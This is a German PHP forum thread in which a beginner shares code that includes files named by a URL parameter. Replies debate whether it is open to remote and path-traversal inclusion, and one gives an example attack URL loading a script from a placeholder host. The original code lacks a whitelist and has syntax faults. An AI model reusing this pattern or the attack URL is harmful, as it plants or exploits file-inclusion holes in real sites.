Ankündigung

Einklappen
Keine Ankündigung bisher.

einfacher Code zum Einbinden von "Inhaltsbereichen"

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • einfacher Code zum Einbinden von "Inhaltsbereichen"

    Hallo zusammen,
    ich habe mal einen ganz kleinen Code entworfen, um zB über den link "index.php?site=news" auch auf "news.php" in dem eigentlichen Index.php-Gerüst angezeigt zu bekommen. Ich weiß - das ist vielleicht nichts neues für euch aber ich bin noch im Anfangsstudium von php...

    Der Code ist völlig Idiotensicher wie ich finde, denn es müssen nicht einmal die Dateien "index" oder "error" existieren - es werden einfach Alternativtexte angezeigft wenn die Dateien nicht da sind... schaut's euch einfach mal an...

    PHP-Code:
    <?php

    $get
    =$_GET['site'];    # Da wird der "site=" Anhang ausgelesen
    $id=$get.".php";       # seite.php brauchen wir um nachher leichter zu arbeiten


    if($get!="")              # Wenn kein Anhang vorhanden ist wird der Versuch, die
    {                         # Seite anzuzeigen, gestartet...
     
    if(file_exists($id))     # Wenn die Datei existiert...
      
    {
      include(
    $id);           # ...wird sie auch eingebunden
      
    }
      else                         
    # ansonsten:
      

        if(
    file_exists(error.php))  ## error.php wird eingebunden.
         
    {                          ## Wenn die nicht existiert,
        
    include("error.php");       ## erscheint der Alternativ-Text.
        
    }
      else
        {
        echo 
    "<b>Error</b><p>Die Seite <b>$get</b> konnte nicht gefunden werden.";
        }
      }
    }
    else                           
    ## Wenn wir von Anfang an keinen Anhang gefunden
    {                              ## haben, dann wird versucht "index.php" einzubinden.
      
    if(file_exists(index.php))
      {
      include(
    "index.php");
      }
      else                                 
    ## Wenn diese aber auch nicht existiert, 
      
    {                                    ## dann auch hier der Alternativtext.
      
    echo "Es wurde keine index-Seite gefunden."
      }
    }
    ?>
    Der platzsparende Code zum Einfügen (das selbe ohne Kommentare und überflüsige Leerzeichen/Absätze) wäre dann:

    PHP-Code:
    <?php
    $get
    =$_GET['site'];
    $id=$get.".php";
    if(
    $get!="")
    { if(
    file_exists($id)) { include($id);}
    else { if(
    file_exists(error.php)){include("error.php");}
    else { echo 
    "<b>Error</b><p>Die Seite <b>$get</b> konnte nicht gefunden werden.";}}}
    else { if(
    file_exists(index.php)) {include("index.php");}
    else { echo 
    "Es wurde keine index-Seite gefunden."; }}
    ?>
    Würd mich über Resonanzen freuen!


  • #2
    Dir fehlen die Anführungszeichen bei deinen file_exists("text"). Deine Einrückung ist auch nicht so toll.

    PHP-Code:
    <?php
     
    <?php
    $get 
    $_GET['site'];
    $id  $get.".php";
    if(
    $get != "") {
        if(
    file_exists($id)) {
            include(
    $id);
        } else {
            if(
    file_exists(error.php)){
                include(
    "error.php");
            } else {
                echo 
    "<b>Error</b><p>Die Seite <b>$get</b> konnte nicht gefunden werden.";
            }
        }
    } else {
        if(
    file_exists(index.php)) {
            include(
    "index.php");
        } else {
            echo 
    "Es wurde keine index-Seite gefunden.";
        }
    }
    ?>
    Zum Code selbst:
    Prüfe, ob die Datei überhaupt auf dem lokalen Server liegt bzw ob es eine Datei ist,welche eingebunden werden darf (= Whitelist). So kann man schnell einfach folgendes eingeben:

    Code:
      index.php?site=http://meineseite.ru/boesesscript.txt
    Grüße
    Da Psy
    "Weaseling out of things is important to learn. It's what separates us from the animals ... except the weasel." (Homer J. Simpson)

    Kommentar


    • #3
      Wie PsychoEagle es schon gesagt hat,
      das was du bislang hast ist unsicher!

      Oder gebe einen Pfad vor.

      z.B.
      PHP-Code:
      include "http://www.daiendomain.de/".$ips
      Weil wenn dann jemand kommt mit:

      http://meineseite.ru/boesesscript.txt

      Wird er nach:

      http://www.daiendomain.de/http://mei...esesscript.txt

      geleitet und dort liegt die datei nicht, daher:
      Error
      Kostenlose Homepage
      Kostenlose Scripts
      Kostenloser Uploadservice

      Kommentar


      • #4
        Zitat von h3ir Beitrag anzeigen
        Wie PsychoEagle es schon gesagt hat,
        das was du bislang hast ist unsicher!
        Nein ist es nicht. Es ist nicht schön (unter anderem weil bei file_exists() die Anführungszeichen fehlen, Notices erzeugt werden können usw. usf.) Aber unsicher ist es nicht.

        Er prüft doch mit file_exists(). Und file_exists checkt ob die Datei über das Dateisystem erreichbar ist (URLs gehen nicht). (was geht ist ein ../datei zu übergeben, aber das kann ja auch gewollt sein...)

        Oder gebe einen Pfad vor.

        z.B.
        PHP-Code:
        include "http://www.daiendomain.de/".$ips
        Scherzkeks So wird der schon geparste Inhalt der Datei eingebunden - und das ist bestimmt nicht gewollt.
        Create your own quiz show.

        Kommentar


        • #5
          Zitat von agrajag Beitrag anzeigen
          file_exists checkt ob die Datei über das Dateisystem erreichbar ist (URLs gehen nicht)
          Hmm stimmt ja ... denkfehler von meiner Seite aber ne Whitelist ist dennoch ein wenig schöner und überwachbarer oder nicht?

          Grüße
          Da Psy
          "Weaseling out of things is important to learn. It's what separates us from the animals ... except the weasel." (Homer J. Simpson)

          Kommentar


          • #6
            also der checkt doch ob es die daten "x.php" in dem ordner gibt.. da kann doch nix falsches eingebunden werden, oder????

            und es klappt ja auch ihne die anführungszeichen ôô

            Kommentar


            • #7
              Ob was klappt, und ob es sauber und richtig ist sind 2 paar Schuhe
              "Weaseling out of things is important to learn. It's what separates us from the animals ... except the weasel." (Homer J. Simpson)

              Kommentar

              Lädt...
              X